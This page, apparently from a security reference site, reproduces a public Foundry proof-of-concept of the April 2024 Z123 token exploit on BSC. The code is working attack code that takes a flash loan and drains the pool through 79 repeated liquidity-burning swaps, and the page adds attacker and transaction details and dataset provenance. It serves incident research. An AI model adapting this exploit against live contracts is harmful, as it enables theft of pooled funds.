Public reproduction file
src/test/2024-04/Z123_exp.sol
Public reproduction file for dataset entry Z123.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1import "forge-std/Test.sol";2import "../interface.sol";4// @KeyInfo - Total Lost : ≈135k5// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce326// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee1687// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af97608// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a2710// @Analysis11//12// First, tokens are exchanged from a pool with normal ratios using USD.13// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.15contract Z123_exp is Test {16 IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);17 IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);18 IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);19 IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));20 IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));22 function setUp() public {23 vm.createSelectFork("bsc", 38_077_210);25 bsc_usd_.approve(address(router_), type(uint256).max);26 z123_.approve(address(router_), type(uint256).max);28 bsc_usd_.approve(address(victim_), type(uint256).max);29 z123_.approve(address(victim_), type(uint256).max);30 }32 function testExploit() public {33 emit log_named_decimal_uint("befor ack usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());34 pancakeV3_.flash(address(this), 18_000_000 ether, 0, "");35 emit log_named_decimal_uint(36 "after profit usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()37 );38 }40 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {41 address[] memory path = new address[](2);42 path[0] = address(bsc_usd_);43 path[1] = address(z123_);44 router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(45 18_000_000 ether, 1, path, address(this), block.timestamp46 );48 console.log("==== start attack====");49 path[0] = address(z123_);50 path[1] = address(bsc_usd_);51 for (int256 i = 0; i < 79; i++) {52 victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(53 7125 ether, 1, path, address(this), block.timestamp54 );55 }56 console.log("==== end attack====");58 //repay59 bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);60 }61}Analysis
Dataset entry
Public Foundry test for “Z123” (2024-04-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
- Attack Contract
0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168
- Vulnerable Contract
0xb000f121a173d7dd638bb080fee669a2f3af9760
- Attack Tx
0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27
File record
- Name
- Z123
- Path
- src/test/2024-04/Z123_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f15f638dd132113cd44b0e2e8dec2086128d708d
- Language
- Solidity
- Size
- 62 lines
- Date
- 2024-04-22
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/Z123_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f15f638dd132113cd44b0e2e8dec2086128d708d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.